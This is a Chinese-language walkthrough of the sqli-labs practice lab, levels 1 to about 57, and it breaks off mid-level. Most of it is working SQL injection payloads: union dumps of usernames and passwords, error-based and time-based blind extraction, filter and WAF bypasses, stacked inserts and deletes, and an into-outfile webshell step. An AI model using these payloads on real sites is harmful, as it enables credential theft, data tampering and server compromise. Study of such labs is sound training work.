目录
Less-1
Less-2
Less-3
Less-4
Less-5
Less-6
Less-7
Less-8
Less-9
Less-10
Less-11
Less-12
Less-13
Less-14
Less-15
Less-16
Less-17
Less-18
Less-19
Less-20
Less-21
Less-22
Less-23
Less-24
Less-25
Less-25a
Less-26
Less-26a
Less-27
Less-27a
Less-28
Less-28a
Less-29
Less-30
Less-31
Less-32
Less-33
Less-34
Less-35
Less-36
Less-37
Less-38
Less-39
Less-40
Less-41
Less-42
Less-43
Less-44
Less-45
Less-46
Less-47
Less-48
Less-49
Less-50
Less-51
Less-52
Less-53
Less-54
Less-55
Less-56
Less-57
Less-58
Less-59
Less-60
Less-61
Less-62
Less-63
Less-64
Less-65
SQL注入基本流程:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
判读是否可能存在注入
出现错误提示,可能存在注入
回显正常
回显错误,说明是字符型注入
判断字段数
order by 3 返回正常,而order by 4 返回错误,说明有3个字段
判断显示位
爆破数据库
爆破数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
实例:使用sqlmap进行爆破
判断为数字型注入
判断字段数
判断显示位
爆破数据库
爆破数据表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
重要源码:
判断位数字型注入
判断字段数
判断显示位
爆破数据库
爆破数据表
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
重要源码:
判断为数字型注入
判断字段数
判断显示位
爆破数据库
爆破数据表
?id=-1.'") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1.'") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
单引号字符型布尔逻辑型盲注
判断显示位,没有回显
使用updatexml()函数,连接:https://www.jb51.net/article/125599.htm
爆破数据库
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
爆破数据表
?id=1 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆破users表的列
?id=1 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
查询有关数据
回显有限,只能一个一个查询
?id=1 'and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1) --+
重要源码:
与上一题类似
爆破数据库
?id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
爆破数据表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆破users表的列
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
查询有关数据
回显有限,只能一个一个查询
?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1) --+
修改limit 0,1为1,1 2,1 ...... 即可
重要源码:
页面显示Use outfile
我们知道,select查询可以对文档有操作:
读取文档:load_file()
导出文档:into outfile()
这里应该是想让我们利用outfile的文档来查看回显,也可以选择outfile一句话木马来getshell。
?id=1')) union select 1,'',3 into outfile 'D:\\phpStudy-2016\\WWW\\sql-lab\\Less-7\\test.php' --+
虽然报错,但是打开目的文件我们发现已经存在文件test.php了
与Less-5类似
判断显示位,没有回显
爆破数据库
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
发现报错注入没有回显
我们采用延时注入。拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
利用此原理,猜解数据库名
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
发现页面多延迟10s,说明猜解正确
其中ASCII码中的第115个为“s”
同理猜解第二个,为“e”
?id=1' and if(ascii(substring(database(),2,1))=101,sleep(10),1)--+
......
最终获得数据库名为“security”
猜解表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
第一个表的第一个字母为“e”(ASCII码第101位)
修改limit 0,1即可获得第二个,第三个表名
以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。
猜解字段与前面相同,只需要将table_name改为column_name以及information_schema.tables改为information_schema.columns
猜内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
与猜解表名相同
通过简单的测试,发现无论如何页面都没有回显,只显示You are in......
所以我们使用时间盲注,类似于Less-8
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
不再重复......
猜解表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
不再重复......
猜内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
与上一题同理,只不过是单引号变成双引号
?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
?id=1" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
从本关开始,使用post提交数据
使用万能密码进行尝试
判断字段数
爆破数据库
-1' union select 1,database() #
爆破数据表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
-1' union select 1,group_concat(username,':',password) from users #
重要源码:
与Less-11相似
直接爆破数据库
-1") union select 1,database() #
爆破数据表
-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
-1") union select 1,group_concat(username,':',password) from users #
重要源码:
发现登录成功但是没有回显
我们采用时间盲注
猜解数据库
admin') and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
发现页面多延迟10s,参考Less-8
猜解数据表
admin') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
与上一题相似,没有回显
构造方式不同
猜解数据库
admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
猜解数据表
admin" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
与上一题相似,没有回显
猜解数据库
admin' and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
猜解数据表
admin' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
猜解数据库
admin") and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
猜解数据表
admin") and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin") and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
这一关有点不一样,是修改密码
substr()函数:返回字符串的一部分。相当于输入的对长度进行限制
stripslashes() 函数:删除其中的反斜杠
ctype_digit()函数:做纯数字检测
mysqli_real_escape_string()函数:对字符串中的特殊字符进行转义,以使得这个字符串是一个合法的 SQL 语句。
intval() 函数:获取变量的整数值
这里相当于对输入的User Name做了严格的过滤,所以我们尝试对New Password进行注入
尝试使用时间盲注
admin' and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
发现页面并没有延迟
再尝试报错注入
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
爆破数据表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
爆破users表的列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
查询有关数据
admin' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #
发现
换一种方法
admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #
通过修改limit即可爆出所有用户名
通过用户名爆破密码
admin' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #
首先进行简单测试,发现会返回IP和User Agent
识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
通过源码可以得知,这里的Username和Password都进行了过滤
看到
所以需要先输入正确的账号和密码,随后处理User Agent部分
发现报错,可能存在注入
尝试报错注入
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
'or updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) or'
回显有限,也可以,修改limit即可
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
与上一题类似,本题显示Referer
Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
爆破数据库
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
使用admin,admin尝试
点击Delete Your Cookie退出
将
修改cookie改为admin',刷新页面,发现报错
判断字段数
' union select 1,2,database() #
爆破数据表
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,2,group_concat(username,':',password) from users #
使用admin,admin尝试
其中的uname = YWRtaW4
YWRtaW4进行base64解码就是admin
通过源码可以看到,将上题的 ' 变更位 ') 并且进行base64转码即可
爆破数据库
') union select 1,2,database() #
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICM=
爆破数据表
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=
爆破users表的列
') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnICM=
爆破用户名和密码
') union select 1,2,group_concat(username,':',password) from users #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSBmcm9tIHVzZXJzICM=
与上题类似," 绕过
爆破数据库
" union select 1,2,database() #
IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgIw==
爆破数据表
" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgIw==
爆破users表的列
" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycgIw==
爆破用户名和密码
" union select 1,2,group_concat(username,':',password) from users #
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMgIw==
GET型注入
重要源码:
preg_replace()函数
这里相当于将$id中的$reg类型的字符转变位$replace字符,也就是将$id中的#和--置空过滤
思路:URL终止符%00
爆破数据库
?id=-1' union select 1,2,database(); %00
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'; %00
爆破users表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'; %00
爆破用户名和密码
?id=-1' union select 1,2,group_concat(username,':',password) from users; %00
本题知识点:二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
普通用户登录admin-admin
首先创建一个恶意账户
用户名:admin' #
密码:123456
然后登录
登录成功
然后修改密码为654321
然后我们就可以使用admin-654321登录了
题目提示or和and以及被替换,并且在源码也可以看到
直接使用order是不行的,我们可以使用oorrder
判断显示位
爆破数据库
爆破数据表,注意information
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码,注意password
?id=-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+
与Less-25类似,只是没有单引号
直接爆破数据库
?id=-1 union select 1,2,database() --+
爆破数据表
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破users表的列
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码
?id=-1 union select 1,2,group_concat(username,':',passwoorrd) from users --+
重要源码:
and 也以用 && aandnd 或者%26%26替换掉
‘#’ 也以用 or ‘1’='1 替换掉
在这里有一个陌生的符号:\s: 是匹配所有空白符,包括换行,\S 非空白符,不包括换行。也就是说在这里我们无法使用空格 ,\s会将其消掉。
%0a可以代替空格,或者使用()将其包起来
参考:URL特殊字符编码对照表_Danalee_Ay的博客-CSDN博客
使用%0a爆破数据库
?id=-1'%0aunion%0aselect%0a1,2,database()oorr%0a‘1’='1
发现报错,%0a也被过滤了
再使用报错注入
?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
爆破数据表,注意information
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1
相比于上一题,闭合方式为')
爆破数据库
?id=-1')||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
发现报错注入失败
再试试%A0或者%a0或者%0a或者%0b
不再演示
重要源码:
过滤了select和union
爆破数据库
?id=-1'||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1
爆破数据表
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1
与上题类似,改为"闭合
爆破数据库
?id=-1"||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1
同样,没有报错回显
同样,再试试%A0或者%a0或者%0a或者%0b
不再演示
重要源码:
尝试使用报错注入发现报错回显被屏蔽
判断字段数,使用%0a代替空格,%00截断
?id=1')%0Aorder%0Aby%0A3%0A;%00
判断显示位
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,3;%00
爆破数据库
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
爆破数据表
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆破用户名和密码
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
重要源码:
与Less-28相同
爆破数据库
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
爆破数据表
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆破users表的列
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆破用户名和密码
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
简单测试
发现可以直接注入
进入login.php
构造
发现页面跳转
说明我们的参数被WAF阻挡,此时我们加入第二个参数,参考:经过HTTP参数污染绕过WAF拦截 (转) - JavaShuo
Sqli-labs-Less-29 (笔记)_小鸣同学的博客-CSDN博客
?id=1&id=2
判断字段数
?id=1&id=-1' union select 1,2,database() --+
爆破数据表
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+
与上一关类似,单引号变为双引号
爆破数据表
?id=1&id=-1" union select 1,2,database() --+
爆破数据表
?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1" union select 1,group_concat(username,':',password),3 from users --+
与前面类似,双引号加括号绕过
爆破数据表
?id=1&id=-1") union select 1,2,database() --+
爆破数据表
?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1") union select 1,group_concat(username,':',password),3 from users --+
首先测试?id=1',发现
发现进行了转义,查看源码发现
当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸。
参考:Sqli-labs Less-32 宽字节注入 嵌套查询 - zhengna - 博客园
sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新)_m0_62879498的博客-CSDN博客
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破users表的列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
重要源码:
addslashes()函数:addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
实际上和上一题相同
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破users表的列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
post方式传参
实际上和前面两题一样,传参方式不同
发现
发现,在url栏中输入 %df 主要是以 16进制形式输入,而在输入框输入 %df 则是以普通字符串输入的。
绕过方法:有些汉字的编码为三个字节的编码,我们将三个字节拆开来看,前两个为一组,后面的那个和 \ 相编码为两字节绕过,从而使得单引号逃逸。
判断字段数
汉' order by 3 #
判断显示位
汉' union select 1,2 #
爆破数据库
汉' union select 1,database() #
爆破数据表
汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #
爆破users表的列
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) #
爆破用户名和密码
汉' union select 1,(select group_concat(username,0x3a,password) from users) #
题目的提示:
id没有被单引号括起来所以addslashes起不到作用
直接payload即可
判断字段数
?id=1 order by 3 --+
判断显示位
?id=-1 union select 1,2,3 --+
爆破数据库
?id=-1 union select 1,2,database() --+
爆破数据表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆破users表的列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users) #
重要源码:
mysql_real_escape_string()函数:转义在 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
可以使用 %df 进行绕过
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破users表的列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
基本与Less-34相同
判断字段数
汉' order by 3 #
判断显示位
汉' union select 1,2 #
爆破数据库
汉' union select 1,database() #
爆破数据表
汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #
爆破users表的列
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) #
爆破用户名和密码
汉' union select 1,(select group_concat(username,0x3a,password) from users) #
重要源码:
mysqli_multi_query() 函数:执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。
查询数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询users列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
此时,我们就可以在users下插入其他用户,例如
?id=-1' ;insert into users(id,username,password)values(100,'772211','112277');
随后:?id=100
同样是堆叠注入
去掉单引号即可
查询数据表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询users列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
此时,我们就可以在users下插入其他用户,例如
?id=-1 ;insert into users(id,username,password)values(100,'213','123123');
随后:?id=100
同样是堆叠注入,绕过方式变为 ')
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
尝试删去id=1的用户
?id=-1') ;delete from users where id=1;
成功
同样为堆叠注入
普通:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
添加用户:
?id=-1;insert into users(id,username,password)values(100,'721','127');
查看:
重要源码:
发现对username进行了过滤,但是password没有改变
忘记密码和创建新用户都没有内容,只能想办法登录
在password处进行注入
爆破数据表
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆破users中的列
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,group_concat(username,':',password),2 from users #
当然,这里也存在堆叠注入
例如:
';insert into users(id,username,password)values(100,'721','127'); #
页面虽然报错,但是插入成功
与上题一样,只不过闭合方式为')
') union select 1,group_concat(username,':',password),2 from users #
');insert into users(id,username,password)values(100,'721','127'); #
其他不再演示
同上,与前面的区别就是这关不能使用报错注入,可以使用时间盲注
' union select 1,group_concat(username,':',password),2 from users #
';insert into users(id,username,password)values(100,'721721','127'); #
同上,闭合方式改为')
') union select 1,group_concat(username,':',password),2 from users #
');insert into users(id,username,password)values(100,'721721','127127'); #
从本题开始利用order by进行注入
重要源码:
测试:
?sort=1
首先了解order by参数注入:
order by 注入是指其后面的参数是可控的
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注
爆破数据库
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
爆破数据表
?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)
爆破users表的列
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1)
爆破用户名和密码,回显有限,修改limit即可
?sort=-1 and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1)
与上一关类似,闭合方式为单引号
爆破数据库
?sort=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?sort=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
爆破users表的列
?sort=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1) --+
?sort=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1) --+
爆破用户名和密码,回显有限,修改limit即可
?sort=-1' and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1) --+
这关报错没有回显,所以使用时间盲注
猜解数据库
?sort=-1 and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
可以参考 Less-8
猜解表名
?sort=-1 and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?sort=-1 and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
闭合方式变为 '
猜解数据库
?sort=-1' and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
可以参考 Less-8
猜解表名
?sort=-1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?sort=-1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
堆叠注入与order by叠加
?sort=1;insert into users(id,username,password)values(100,'721721','127'); --+
其他不再演示
改为单引号闭合
?sort=1';insert into users(id,username,password)values(100,'721','721'); --+
类似于Less-48,没有报错回显,使用时间盲注
不再演示
?sort=1;insert into users(id,username,password)values(100,'721','721'); --+
闭合方式为单引号
?sort=1';insert into users(id,username,password)values(100,'721','721'); --+
仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。
爆破数据库
?id=-1' union select 1,2,database() --+
爆破数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
爆破1ezqs7v0qo表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='1ezqs7v0qo' --+
发现列名为:id,sessid,secret_RMW1,tryy
查询secret_RMW1:
?id=-1' union select 1,group_concat(secret_RMW1),3 from 1ezqs7v0qo --+
提交OQpt........即可
闭合方式为 ) ,其他同上
爆破数据库
?id=-1) union select 1,2,database() --+
爆破数据表
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
爆破8k8nkr7hq5表的列
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='8k8nkr7hq5' --+
查询secret_2GAF:
?id=-1) union select 1,group_concat(secret_2GAF),3 from 8k8nkr7hq5 --+
提交即可
同上, 闭合方式为 ')
爆破数据库
?id=-1') union select 1,2,database() --+
爆破数据表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
爆破tnv3y1v88d表的列
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tnv3y1v88d' --+
查询secret_8VHN:
?id=-1') union select 1,group_concat(secret_8VHN),3 from tnv3y1v88d --+
提交即可
同上,闭合方式为 "
爆破数据库
?id=-1" union select 1,2,database() --+
爆破数据表
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
爆破3ws6cg0a91表的列
